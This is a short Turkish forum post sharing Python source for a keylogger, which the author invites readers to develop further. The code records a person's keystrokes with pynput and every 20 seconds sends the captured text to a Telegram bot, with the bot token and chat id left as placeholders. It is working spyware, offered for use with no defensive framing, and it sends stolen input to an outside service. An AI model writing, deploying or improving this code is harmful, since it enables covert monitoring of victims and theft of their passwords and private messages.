Merhabalar , python ile geliştirmeye çalıştığım bu kodda kişinin yaptığı klavye vuruşlarını olabildiğince düzgün bir formatta loglamaya çalıştım tabi sizler bunu daha ileri seviyelere getiripte kullanabilirsiniz.
Python:
import time
from pynput import keyboard
import requests
TELEGRAM_BOT_TOKEN = 'Bot Token Buraya Giriliecek'
TELEGRAM_CHAT_ID = 'Botun chat id si buraya'
log = ""
def send_logs_to_telegram(message):
url = f'https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendMessage'
if message:
requests.get(url, params={'chat_id': TELEGRAM_CHAT_ID, 'text': message})
def on_press(key):
global log
try:
if key.char.isalnum() or key.char in "!@#$%^&*()-=_+[]{}|;:',.<>?/`~":
log += key.char
except AttributeError:
if key == key.space:
log += ' '
elif key == key.enter:
log += '\n'
def main():
global log
listener = keyboard.Listener(on_press=on_press)
listener.start()
try:
while True:
time.sleep(20)
if log:
send_logs_to_telegram(log)
log = ""
except KeyboardInterrupt:
print("Program kullanıcı tarafından sonlandırıldı.")
if __name__ == "__main__":
main()



